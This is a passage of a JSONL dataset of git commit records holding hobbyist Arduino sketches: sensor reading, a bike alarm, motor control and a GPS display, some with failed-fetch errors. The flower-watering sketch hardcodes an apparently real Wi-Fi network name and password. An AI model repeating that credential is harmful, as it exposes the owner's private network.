\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sFDW\/examples\/4ledblink.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"f3506f35c0ff452e69c789e16272fcb9b7bc57a2","subject":"Create zakir.ino","message":"Create zakir.ino","repos":"Electroscholars\/LineFollower","old_file":"zakir.ino","new_file":"zakir.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Electroscholars\/LineFollower.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"70a6a9b0d3e952b518d39cebe773f4c13bd65d61","subject":"Add ADC low-pass example","message":"Add ADC low-pass example\n","repos":"andrewadare\/arduino-201,andrewadare\/arduino-201","old_file":"examples\/adc-smooth\/adc-smooth.ino","new_file":"examples\/adc-smooth\/adc-smooth.ino","new_contents":"\/\/ This demo compares a direct ADC reading to a smoothed value using an\n\/\/ exponentialy-weighted moving average with integer math\n\n#define POT_PIN A0 \/\/ Pin to read voltage from potentiometer\n\n\/\/ Digitized reading from potentiometer and running average\nunsigned int adcRaw = 0;\nunsigned int adc16 = 0;\n\n\/\/ Time of update step and length of update interval in ms\nunsigned long timeMarker = 0;\nconst unsigned long dt = 20;\n\n\/\/ Exponentially weighted moving average for integer data. Used for over-\n\/\/ sampling noisy measurements in a time series.\n\/\/ When using the result, it must be divided by 16: x16 >> 4.\nvoid ewma(unsigned int x, unsigned int &x16)\n{\n \/\/ Compute weights like 1\/16*(current x) + 15\/16*(prev running avg x), except\n \/\/ multiplied through by 16 to avoid precision loss from int division:\n \/\/ 16*xavg = x + 16*xavg - (16*xavg - 16\/2)\/16\n x16 = x + x16 - ((x16 - 8) >> 4);\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n\n \/\/ Wait for serial port to connect\n while (!Serial) {;}\n}\n\nvoid loop()\n{\n if (millis() - timeMarker >= dt)\n {\n timeMarker = millis();\n Serial.print(timeMarker);\n Serial.print(\" \");\n Serial.print(adcRaw); \/\/ Snapshot of latest measurement\n Serial.print(\" \");\n Serial.println(adc16 >> 4); \/\/ Smoothed value\n }\n\n adcRaw = analogRead(POT_PIN);\n ewma(adcRaw, adc16);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adc-smooth\/adc-smooth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d81460d56a82c1077fd629e26d2da17d3267978","subject":"moving heart rate code to src folder","message":"moving heart rate code to src folder\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/src\/hrm.ino","new_file":"arduino\/src\/hrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4df4bed21d1f8ecde04bca41851db780654443f2","subject":"init commit","message":"init commit\n","repos":"wusiHQ\/lite_bike_arduino","old_file":"light-bike.ino","new_file":"light-bike.ino","new_contents":"\/*\n lite bike arduino source codes\n Language: Wiring\/Arduino\n\n *\/\n\n#define LOCK 1\n#define UNLOCK 0\n#define MOVE_MAX 75\n\nint firstSensor = 0; \/\/ first analog sensor\nint secondSensor = 0; \/\/ second analog sensor\nint thirdSensor = 0; \/\/ digital sensor\nint inByte = 0; \/\/ incoming serial byte\nint led = 13;\nint ledStatus=0;\n\nint lockStatus = LOCK;\nint stolenStatus = 0;\n\nint pinS = 12;\nint pinX = A4;\nint pinY = A3;\nint pinZ = A2;\nint pinBuzzer = 8;\n\nvoid Buzzer_Di(int times)\n{\n for (int i = 0; i < times; ++i) {\n digitalWrite(pinBuzzer,HIGH); \/\/\u8702\u9e23\u5668\u54cd\n delay(200); \/\/\u5ef6\u65f6\n digitalWrite(pinBuzzer,LOW); \/\/\u8702\u9e23\u5668\u5173\u95ed\n delay(200); \/\/\u5ef6\u65f6\n }\n}\n\nvoid setup()\n{\n \/\/ start serial port at 115200 bps:\n Serial.begin(115200);\n pinMode(led, OUTPUT);\n pinMode(pinS, OUTPUT);\n pinMode(pinX, INPUT);\n pinMode(pinY, INPUT);\n pinMode(pinZ, INPUT);\n pinMode(pinBuzzer, OUTPUT);\n\n}\nint cx=0,cy=0,cz=0;\nint lastX=0, lastY=0, lastZ=0;\nint deltaX, deltaY, deltaZ;\nvoid loop()\n{\n \/\/ if we get a valid byte, read analog ins:\n if (Serial.available() > 0) {\n \/\/ get incoming byte:\n inByte = Serial.read();\n if (inByte == 'L' || inByte == 'l') {\n lockStatus = LOCK;\n }\n else if (inByte == 'U' || inByte == 'u'){\n lockStatus = UNLOCK;\n stolenStatus = 0;\n }\n\n Serial.println(inByte);\n } \/\/ledStatus = ~ledStatus;\n\n if (lockStatus == LOCK) {\n cx = analogRead(pinX);\n cy = analogRead(pinY);\n cz = analogRead(pinZ);\n\n deltaX = abs(cx - lastX);\n deltaY = abs(cy - lastY);\n deltaZ = abs(cz - lastZ);\n if (deltaX + deltaY + deltaZ > MOVE_MAX && lastX > 0) {\n \/\/lockStatus = UNLOCK;\n stolenStatus = 1;\n }\n \/*Serial.println('start');\n Serial.println(lockStatus);\n Serial.println(deltaX);\n Serial.println(deltaY);\n Serial.println(deltaZ);\n *\/\n lastX = cx;\n lastY = cy;\n lastZ = cz;\n \/\/delay(1000);\n }\n\n digitalWrite(led, lockStatus); \/\/ turn the LED on (HIGH is the voltage level)\n if (stolenStatus == 1) {\n Buzzer_Di(2);\n }\n digitalWrite(pinS, stolenStatus); \/\/ turn the LED on (HIGH is the voltage level)\n\n delay(200); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'light-bike.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98e24617467b20a311fef5ec5527159315089baf","subject":"Refactor and add extra comments with explanations","message":"Refactor and add extra comments with explanations\n","repos":"strangetom\/SmartLamp,strangetom\/SmartLamp,strangetom\/SmartLamp","old_file":"esp8266\/esp8266.ino","new_file":"esp8266\/esp8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/strangetom\/SmartLamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c5fcdccf3102b5a75893c86e92ab910aee16c15","subject":"add flower watering example","message":"add flower watering example\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/WATER_FLOWERS\/WaterFlowers\/WaterFlowers.ino","new_file":"examples\/WATER_FLOWERS\/WaterFlowers\/WaterFlowers.ino","new_contents":"\/\/Libraries\n\n#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n\/\/Constants\n#define SENSOR_ID \"FLOWER1_WATER\"\n#define SLEEP_TIME_S 300\n#define SENSOR_PIN A0 \/\/ what pin we're connected to\n\n\/\/Variables\n\n\nfloat moisture_level; \/\/Stores moisture value\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\/************ Global State (you don't need to change this!) ******************\/\n\nlong lastMsg = 0;\n\n\/*************************** Sketch Code ************************************\/\n\n\nvoid setup()\n{\n Serial.begin(115200);\n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n\n pinMode(SENSOR_PIN, INPUT);\n \n}\n\n\nvoid loop()\n{\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n\n \n int analogSensor = analogRead(SENSOR_PIN);\n Serial.print(\"Moisture : \");\n Serial.println(analogSensor);\n myMqtt->publishValue(\"moisture\", analogSensor, 1);\n \n delay(SLEEP_TIME_S *1000);\n}\n\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WATER_FLOWERS\/WaterFlowers\/WaterFlowers.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8b0c059422fb63c10fcb0226912c5b28f333b243","subject":"Add experimental code (begin rewrite and improve whole project","message":"Add experimental code (begin rewrite and improve whole project\n","repos":"edgar-ch\/mstation,edgar-ch\/mstation","old_file":"BMP180.ino","new_file":"BMP180.ino","new_contents":"#include <Wire.h>\n\/\/ BMP180 read\/write i2c bus addres\n#define BMP180_READ_ADDR 0xF7\n#define BMP180_WRITE_ADDR 0x77\n\/\/ BMP180 calibration registers addresses\n#define BMP180_REG_ADDR_AC1 0xAA\n#define BMP180_REG_ADDR_AC2 0xAC\n#define BMP180_REG_ADDR_AC3 0xAE\n#define BMP180_REG_ADDR_AC4 0xB0\n#define BMP180_REG_ADDR_AC5 0xB2\n#define BMP180_REG_ADDR_AC6 0xB4\n#define BMP180_REG_ADDR_B1 0xB6\n#define BMP180_REG_ADDR_B2 0xB8\n#define BMP180_REG_ADDR_MB 0xBA\n#define BMP180_REG_ADDR_MC 0xBC\n#define BMP180_REG_ADDR_MD 0xBE\n\/\/ BMP180 ADC and control registers addresses\n#define BMP180_REG_ADDR_XLSB 0xF8\n#define BMP180_REG_ADDR_LSB 0xF7\n#define BMP180_REG_ADDR_MSB 0xF6\n#define BMP180_REG_ADDR_CTRL_MEAS 0xF4\n#define BMP180_REG_ADDR_RES 0xE0\n#define BMP180_REG_ADDR_ID 0xD0\n\/\/ BMP180 control commands\n#define BMP180_CMD_TEMP 0x2E\n#define BMP180_CMD_PRESS 0x34\n\n\/\/ BH1750 i2c bus address\n#define BH1750_ADDR 0x23\n\/\/ BH1750 commands\n#define BH1750_PWR_DOWN 0x00\n#define BH1750_PWR_ON 0x01\n#define BH1750_RESET 0x07\n#define BH1750_CONT_HR 0x10\n#define BH1750_CONT_HR2 0x11\n#define BH1750_CINT_LR 0x13\n#define BH1750_1TIME_HR 0x20\n#define BH1750_1TIME_HR2 0x21\n#define BH1750_1TIME_LR 0x23\n\/\/ BH1750 resolution mods\nenum BH1750_MOD{LR = 0, HR, HR2};\n\n#define DEBUG 1\n\nstruct BMP180_COEFF\n{\n\tint16_t ac1;\n\tint16_t ac2;\n\tint16_t ac3;\n\tuint16_t ac4;\n\tuint16_t ac5;\n\tuint16_t ac6;\n\tint16_t b1;\n\tint16_t b2;\n\tint16_t mb;\n\tint16_t mc;\n\tint16_t md;\n} bmp180_coeff;\n\nstruct BMP180_REGS\n{\n\tuint8_t xlsb;\n\tuint8_t lsb;\n\tuint8_t msb;\n\tuint8_t ctrl;\n\tuint8_t id;\n} bmp180_regs;\n\nvoid setup()\n{\n\tSerial.begin(115200);\n\tWire.begin();\n\tbmp180_init();\n\tbmp180_read_calibration();\n\tSerial.println(F(\"BMP180 inited\"));\n}\n\nvoid loop()\n{\n\tuint8_t oss = 0;\n\tlong int pressure;\n\tlong int temp;\n\tuint16_t lux;\n\tfloat lux_h;\n\n\tpressure = bmp180_get_pressure(oss);\n\tSerial.print(F(\"Pressure: \"));\n\tSerial.print(pressure);\n\tSerial.println(F(\" Pa\"));\n\tdelay(1000);\n\n\ttemp = bmp180_get_temp();\n\tSerial.print(F(\"Temp: \"));\n\tSerial.println(temp);\n\tdelay(1000);\n\n\tlux = bh1750_meas_Lmode();\n\tSerial.print(F(\"Ambient light LR: \"));\n\tSerial.println(lux);\n\tdelay(5000);\n\n\tlux = bh1750_meas_Hmode();\n\tSerial.print(F(\"Ambient light HR: \"));\n\tSerial.println(lux);\n\tdelay(5000);\n\n\tlux_h = bh1750_meas_H2mode();\n\tSerial.print(F(\"Ambient light HR2: \"));\n\tSerial.println(lux_h);\n\tdelay(5000);\n}\n\/\/ read 2 bytes from sensor\nuint16_t bmp180_read16(uint8_t reg)\n{\n\tuint16_t tmp;\n\t\/\/ write address of register\n\tWire.beginTransmission(BMP180_WRITE_ADDR);\n\tWire.write(reg);\n\tWire.endTransmission();\n\t\/\/ request 2 bytes\n\tWire.requestFrom(BMP180_READ_ADDR, 2);\n\ttmp = Wire.read();\n\ttmp = (tmp << 8) | Wire.read();\n\tWire.endTransmission();\n\t\n\treturn tmp;\n}\n\/\/ read 1 byte from sensor\nuint8_t bmp180_read8(uint8_t reg)\n{\n\tuint8_t tmp;\n\t\/\/ write addres of register\n\tWire.beginTransmission(BMP180_WRITE_ADDR);\n\tWire.write(reg);\n\tWire.endTransmission();\n\t\/\/ request 1 byte\n\tWire.requestFrom(BMP180_READ_ADDR, 1);\n\ttmp = Wire.read();\n\tWire.endTransmission();\n\n\treturn tmp;\n}\n\/\/ read calibration table from sensor\nvoid bmp180_read_calibration()\n{\n\tbmp180_coeff.ac1 = bmp180_read16(BMP180_REG_ADDR_AC1);\n\tbmp180_coeff.ac2 = bmp180_read16(BMP180_REG_ADDR_AC2);\n\tbmp180_coeff.ac3 = bmp180_read16(BMP180_REG_ADDR_AC3);\n\tbmp180_coeff.ac4 = bmp180_read16(BMP180_REG_ADDR_AC4);\n\tbmp180_coeff.ac5 = bmp180_read16(BMP180_REG_ADDR_AC5);\n\tbmp180_coeff.ac6 = bmp180_read16(BMP180_REG_ADDR_AC6);\n\tbmp180_coeff.b1 = bmp180_read16(BMP180_REG_ADDR_B1);\n\tbmp180_coeff.b2 = bmp180_read16(BMP180_REG_ADDR_B2);\n\tbmp180_coeff.mb = bmp180_read16(BMP180_REG_ADDR_MB);\n\tbmp180_coeff.mc = bmp180_read16(BMP180_REG_ADDR_MC);\n\tbmp180_coeff.md = bmp180_read16(BMP180_REG_ADDR_MD);\n}\n\/\/ check that device on this address really bmp180 sensor\nvoid bmp180_init()\n{\n\tbmp180_regs.id = bmp180_read8(BMP180_REG_ADDR_ID);\n\tif (bmp180_regs.id != 0x55)\n\t{\n\t\tSerial.println(F(\"Not BMP180 device ID !!!\"));\n\t\tSerial.println(bmp180_regs.id);\n\t\treturn;\n\t}\n\tbmp180_regs.ctrl = bmp180_read8(BMP180_REG_ADDR_CTRL_MEAS);\n}\n\/\/ read raw temperature value from regs\nint32_t bmp180_read_raw_temp()\n{\n\tint32_t ut;\n\t\/\/ write temperature measurement command\n\tWire.beginTransmission(BMP180_WRITE_ADDR);\n\tWire.write(BMP180_REG_ADDR_CTRL_MEAS);\n\tWire.write(BMP180_CMD_TEMP);\n\tWire.endTransmission();\n\t\/\/ wait\n\tdelay(5);\n\t\/\/ read data\n\tut = bmp180_read16(BMP180_REG_ADDR_MSB);\n\n\treturn ut;\n}\n\/\/ read raw pressure value from regs\nint32_t bmp180_read_raw_press(uint8_t oss)\n{\n\tuint16_t tmp;\n\tint32_t up;\n\t\/\/ write pressure measurement command\n\tWire.beginTransmission(BMP180_WRITE_ADDR);\n\tWire.write(BMP180_REG_ADDR_CTRL_MEAS);\n\tWire.write(BMP180_CMD_PRESS | (oss << 6));\n\tWire.endTransmission();\n\t\/\/ wait depend on OSS setting\n\tswitch (oss) {\n\t\tcase 0:\n\t\t\tdelay(5);\n\t\t\tbreak;\n\t\tcase 1:\n\t \tdelay(8);\n\t \tbreak;\n\t case 2:\n\t \tdelay(14);\n\t \tbreak;\n\t case 3:\n\t \tdelay(26);\n\t default:\n\t \tdelay(5);\n\t \tbreak;\n\t}\n\t\/\/ read data from REGs\n\ttmp = bmp180_read16(BMP180_REG_ADDR_MSB);\n\tup = (uint32_t) tmp << 8;\n\tup |= bmp180_read8(BMP180_REG_ADDR_XLSB);\n\tup = up >> (8 - oss);\n\n\treturn up;\n}\n\/\/ calc B5 coeff\nint32_t bmp180_calc_b5(int32_t ut)\n{\n\tint32_t x1, x2, b5;\n\n\tx1 = ((ut - bmp180_coeff.ac6) * bmp180_coeff.ac5) >> 15;\n\tx2 = ((int32_t) bmp180_coeff.mc << 11) \/ (x1 + bmp180_coeff.md);\n\tb5 = x1 + x2;\n\n\treturn b5;\n}\n\/\/ get real value of temperature\nint32_t bmp180_get_temp()\n{\n\tint32_t ut, t;\n\t\/\/ read raw values of regs\n\tut = bmp180_read_raw_temp();\n\t\/\/ calc real temperature\n\tt = (bmp180_calc_b5(ut) + 8) >> 4;\n\n\treturn t;\n}\n\/\/ get real value of pressure\nint32_t bmp180_get_pressure(uint8_t oss)\n{\n\tint32_t ut, up, x1, x2, x3, b5, b3, b6, p;\n\tuint32_t b4, b7;\n\t\/\/ read raw registers values\n\tut = bmp180_read_raw_temp();\n\tup = bmp180_read_raw_press(oss);\n\t\/\/ doing some *__* MAGICK *v_v*\n\tb5 = bmp180_calc_b5(ut);\n\tb6 = b5 - 4000;\n\tx1 = (bmp180_coeff.b2 * ((b6 * b6) >> 12)) >> 11;\n\tx2 = (bmp180_coeff.ac2 * b6) >> 11;\n\tx3 = x1 + x2;\n\tb3 = ((((bmp180_coeff.ac1 * 4) + x3) << oss) + 2) >> 2;\n\tx1 = (bmp180_coeff.ac3 * b6) >> 13;\n\tx2 = (bmp180_coeff.b1 * ((b6 * b6) >> 12)) >> 16;\n\tx3 = ((x1 + x2) + 2) >> 2;\n\tb4 = (bmp180_coeff.ac4 * (uint32_t) (x3 + 32768)) >> 15;\n\tb7 = ((uint32_t) up - b3) * (50000 >> oss);\n\tif (b7 < 0x80000000) {\n\t\tp = (b7 << 1) \/ b4;\n\t} else {\n\t\tp = (b7 \/ b4) >> 1;\n\t}\n\tx1 = (p >> 8) * (p >> 8);\n\tx1 = (x1 * 3038) >> 16;\n\tx2 = (-7357 * p) >> 16;\n\tp = p + ((x1 + x2 + 3791) >> 4);\n\n\treturn p;\n}\n\nvoid bh1750_write_cmd(uint8_t cmd)\n{\n\tWire.beginTransmission(BH1750_ADDR);\n\tWire.write(cmd);\n\tWire.endTransmission();\n}\n\nuint16_t bh1750_read_data()\n{\n\tuint16_t tmp;\n\n\tWire.requestFrom(BH1750_ADDR, 2);\n\ttmp = Wire.read();\n\ttmp = (tmp << 8) | Wire.read();\n\tWire.endTransmission();\n\n\treturn tmp;\n}\n\nuint16_t bh1750_meas_Lmode()\n{\n\tuint16_t val, tmp;\n\n\tbh1750_write_cmd(BH1750_PWR_ON);\n\tbh1750_write_cmd(BH1750_1TIME_LR);\n\tdelay(24);\n\ttmp = bh1750_read_data();\n\t#if DEBUG\n\tSerial.print(F(\"Raw value: \"));\n\tSerial.println(tmp);\n\t#endif\n\tval = (float) tmp \/ 1.2;\n\treturn val;\n}\n\nuint16_t bh1750_meas_Hmode()\n{\n\tuint16_t val, tmp;\n\n\tbh1750_write_cmd(BH1750_PWR_ON);\n\tbh1750_write_cmd(BH1750_1TIME_HR);\n\tdelay(180);\n\ttmp = bh1750_read_data();\n\t#if DEBUG\n\tSerial.print(F(\"Raw value: \"));\n\tSerial.println(tmp);\n\t#endif\n\tval = (float) tmp \/ 1.2;\n\treturn val;\n}\n\nfloat bh1750_meas_H2mode()\n{\n\tfloat val;\n\tuint16_t tmp, fl;\n\n\tbh1750_write_cmd(BH1750_PWR_ON);\n\tbh1750_write_cmd(BH1750_1TIME_HR2);\n\tdelay(180);\n\ttmp = bh1750_read_data();\n\t#if DEBUG\n\tSerial.print(F(\"Raw value: \"));\n\tSerial.println(tmp);\n\t#endif\n\tfl = tmp & 0x0001;\n\t#if DEBUG\n\tSerial.println(fl);\n\t#endif\n\ttmp >>= 1;\n\t#if DEBUG\n\tSerial.println(tmp);\n\t#endif\n\tval = (float) tmp \/ 1.2 + fl * 0.5;\n\treturn val;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'BMP180.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3941650ee6f02c0a93cf0b51730298d48a2f7e81","subject":"Basic motor driving.","message":"Basic motor driving.\n","repos":"zacharylawrence\/ENEE408I-Team-9,zacharylawrence\/ENEE408I-Team-9,zacharylawrence\/ENEE408I-Team-9","old_file":"motorcontrol\/motorcontrol.ino","new_file":"motorcontrol\/motorcontrol.ino","new_contents":"const int motor1 = 3;\nconst int motor1_dir_A = 2;\nconst int motor1_dir_B = 4;\nconst int motor2 = 6; \nconst int motor2_dir_A = 7;\nconst int motor2_dir_B = 8;\n\nint motor1_speed = 0;\nint motor2_speed = 0;\n \nvoid setup() \n{ \n pinMode(motor1, OUTPUT);\n pinMode(motor1_dir_A, OUTPUT);\n pinMode(motor1_dir_B, OUTPUT);\n pinMode(motor2, OUTPUT);\n pinMode(motor2_dir_A, OUTPUT);\n pinMode(motor2_dir_B, OUTPUT);\n \n setMotorDirection(motor1, 0);\n setMotorDirection(motor2, 0);\n Serial.begin(9600);\n while (! Serial);\n \n} \n \n \nvoid loop() \n{ \n if (Serial.available())\n {\n char key = Serial.read();\n if (key == 'f')\n {\n Serial.println(\"forward\");\n setMotorDirection(motor1, 0);\n }\n if (key == 'b')\n {\n Serial.println(\"backward\");\n setMotorDirection(motor1, 1);\n }\n if (key == 'u')\n {\n Serial.println(\"speedup\");\n motor1_speed += 50;\n setMotorSpeed(motor1, motor1_speed);\n }\n if (key == 'd')\n {\n Serial.println(\"speeddown\");\n motor1_speed -+ 50;\n setMotorSpeed(motor1, motor1_speed);\n }\n }\n} \n\n\/*\n* Change motor direction\n* 0-forward 1-backward\n*\/\nvoid setMotorDirection(int motor, int dir){\n Serial.println(\"setmotordirection\");\n if(motor == motor1){\n digitalWrite(motor1_dir_A, !dir);\n digitalWrite(motor1_dir_B, dir);\n }\n else {\n digitalWrite(motor2_dir_A, !dir);\n digitalWrite(motor2_dir_B, dir);\n }\n}\n\nvoid setMotorSpeed(int motor, int speed){\n Serial.println(\"setmotorspeed\");\n if (speed >= 0 && speed <= 255)\n {\n analogWrite(motor, speed);\n } \n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"b2b9158c4befc3d2a2b0e302c7424b4af1a7ceb4","subject":"let's see if we need something like this \u2026","message":"let's see if we need something like this \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"83e2097ca622d4f60ef00cc7b2cf8f7fbe70b83e","subject":"v1.0 Initial release","message":"v1.0 Initial release","repos":"Grommet123\/GPSLCD,Grommet123\/GPSLCD","old_file":"GPSLCD.ino","new_file":"GPSLCD.ino","new_contents":"\/* GPS LCD\n\n By GK Grotsky\n 8\/30\/16\n\n This program communicate with the u-blox NEO-6M GPS module\n through a software serial interface. It then displays certain GPS\n parameters on a I2C 16x2 (or 20x4) character LCD display module. The\n GPS messages are received by the on-board Arduino UART circuit using\n the SoftwareSerial library. It then uses the TinyGPS++ library to\n decode the GPS NMEA messages. The parameters are then displayed on a\n 16x4 (or 20x4) LCD using the LiquidCrystal_I2C library.\n\n Note: Both the 16x2 and 20x4 LCDs are supported as these are the most popular\n LCDs available.\n*\/\n#include \"GPSLCD.h\"\n#include <TinyGPS++.h>\n#include <SoftwareSerial.h>\n#include <LiquidCrystal_I2C.h>\n\nTinyGPSPlus gps; \/\/ This is the GPS object that will pretty much do all the grunt work with the NMEA data\nSoftwareSerial GPSModule(10, 11); \/\/ RX, TX\nLiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, D4_pin, D5_pin, D6_pin, D7_pin); \/\/ Initializes class variables and defines the I2C address of the LCD\nbool dataValid; \/\/ Data is valid from the GPS module\nGPSStruct GPSData; \/\/ Holds the GPS data coming from the GPS module\n\n\/\/ The setup (runs once at start up)\nvoid setup()\n{\n pinMode(BACKLIGHT_SW, INPUT);\n\n#ifdef _16x2\n \/\/ Selects either speed or heading to be displayed\n pinMode(SPEED_ALTITUDE_SW, INPUT);\n#else\n \/\/ Selects either altitude or the date\/time to be displayed\n pinMode(ALTITUDE_DATE_TIME_SW, INPUT);\n#endif\n\n#ifdef DEBUG\n Serial.begin(9600); \/\/ This opens up communications to the serial monitor in the Arduino IDE\n Serial.flush();\n#endif\n GPSModule.begin(9600); \/\/ This opens up communications to the software serial tx and rx lines\n GPSModule.flush();\n\n lcd.begin (COLUMN, ROW); \/\/ Defines LCD type\n lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); \/\/ Sets the pin to control the backlight\n lcd.clear(); \/\/ Clear the LCD\n lcd.home (); \/\/ Go to the home position on the LCD\n} \/\/ setup\n\n\/\/ The loop (runs forever and a day :-))\nvoid loop()\n{\n static uint32_t pastSatellites = 0;\n static byte initializingCounter = 0;\n static unsigned long prevInitializationTime = INITIALIZATION_INTERVAL;\n static unsigned long prevCreditTime = TOGGLETIME_INTERVAL;\n static unsigned long prevInvalidSatellitesTime = TOGGLETIME_INTERVAL;\n static bool leftInitialization = false;\n static bool creditToggle = true;\n static bool InvalidSatellitesToggle = true;\n#ifndef _16x2\n static unsigned long prevDateTime = TOGGLETIME_INTERVAL;\n static unsigned long prevHeadingTime = TOGGLETIME_INTERVAL;\n static bool dateTimeToggle = true;\n static bool headingToggle = true;\n#endif\n#ifdef DEBUG\n static unsigned long prevDebugTime = 0;\n#endif\n#ifdef DATA_VALID_OVERRIDE\n const bool dataValidOverride = true; \/\/ Set to true to override data valid for debugging\n#else\n const bool dataValidOverride = false; \/\/ Set to false not to override data valid\n#endif\n#ifdef BACKLIGHT_OVERRIDE\n \/\/ Override LCD backlight switch\n lcd.setBacklight(BACKLIGHT_ONOFF);\n#else\n \/\/ Force LCD backlight on\/off\n lcd.setBacklight(digitalRead(BACKLIGHT_SW));\n#endif\n unsigned long now = millis();\n\n while (GPSModule.available()) \/\/ While there are characters to come from the GPS\n {\n bool b = gps.encode(GPSModule.read()); \/\/ This feeds the serial NMEA data into the GPS library one char at a time\n }\n\n \/\/ Get the GPS data valid flags\n dataValid =\n gps.location.isValid() &&\n gps.speed.isValid() &&\n gps.altitude.isValid() &&\n gps.course.isValid() &&\n gps.date.isValid() &&\n gps.time.isValid() &&\n gps.satellites.isValid();\n\n \/\/ Check if the GPS data is valid or data valid override is set (for debugging)\n if (dataValid || dataValidOverride) {\n#ifndef DATA_VALID_OVERRIDE\n \/\/ Store the real GPS data\n GPSData.satellites = gps.satellites.value();\n GPSData.lat = gps.location.lat();\n GPSData.lon = gps.location.lng();\n GPSData.speed = gps.speed.mph();\n GPSData.altitude = gps.altitude.feet();\n#ifndef _16x2\n GPSData.heading = gps.course.deg();\n GPSData.year = gps.date.year();\n GPSData.month = gps.date.month();\n GPSData.day = gps.date.day();\n GPSData.hour = gps.time.hour();\n GPSData.minute = gps.time.minute();\n GPSData.second = gps.time.second();\n#endif \/\/ #ifndef _16x2\n#else \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Store the fake GPS data (for debugging)\n GPSData.satellites = 11;\n GPSData.lat = 39.16;\n GPSData.lon = -77.07;\n GPSData.speed = 55.0;\n GPSData.altitude = 555.0;\n#ifndef _16x2\n GPSData.heading = 90.0;\n GPSData.year = 2016;\n GPSData.month = 11; \/\/ Day before ST starts\n GPSData.day = 5; \/\/ \"\n GPSData.hour = 23; \/\/ 7pm my local time\n GPSData.minute = 10;\n GPSData.second = 25;\n#endif \/\/ #ifndef _16x2\n#endif \/\/ #ifndef DATA_VALID_OVERRIDE\n \/\/ Clear the screen once when leaving initialization\n if (!leftInitialization) {\n leftInitialization = true;\n lcd.clear(); \/\/ Clear the LCD\n }\n \/\/ Display the latest info from the gps object which it derived from the data sent by the GPS unit\n \/\/ Send data to the LCD\n#ifdef _16x2 \/\/------------------------------------------------------\n lcd.home (); \/\/ Go to 1st line\n lcd.print(\"Lat: \");\n lcd.print(GPSData.lat);\n lcd.setCursor (11, 0);\n lcd.print(\"SV:\");\n if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0)) {\n pastSatellites = GPSData.satellites;\n if (GPSData.satellites == 0) {\n if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL \/ 4) {\n prevInvalidSatellitesTime = now;\n if (InvalidSatellitesToggle) {\n InvalidSatellitesToggle = false;\n lcd.print(\"XX\");\n }\n else {\n InvalidSatellitesToggle = true;\n lcd.print(\" \");\n } \/\/ if (InvalidSatellitesToggle)\n } \/\/ if (now - prevInvalidSatellitesTime > TOGGLETIME_INTERVAL)\n } \/\/ if (GPSData.satellites == 0)\n else if (GPSData.satellites <= 9) {\n lcd.print(\" \"); \/\/ Blank leading char\n lcd.print(GPSData.satellites);\n }\n else {\n lcd.print(GPSData.satellites);\n } \/\/ else if (GPSData.satellites <= 9)\n } \/\/ if ((pastSatellites != GPSData.satellites) || (GPSData.satellites == 0))\n lcd.setCursor (0, 1); \/\/ Go to 2nd line\n lcd.print(\"Lon: \");\n lcd.print(GPSData.lon);\n if ((digitalRead(SPEED_ALTITUDE_SW))) {\n lcd.setCursor (12, 1);\n if (GPSData.speed < 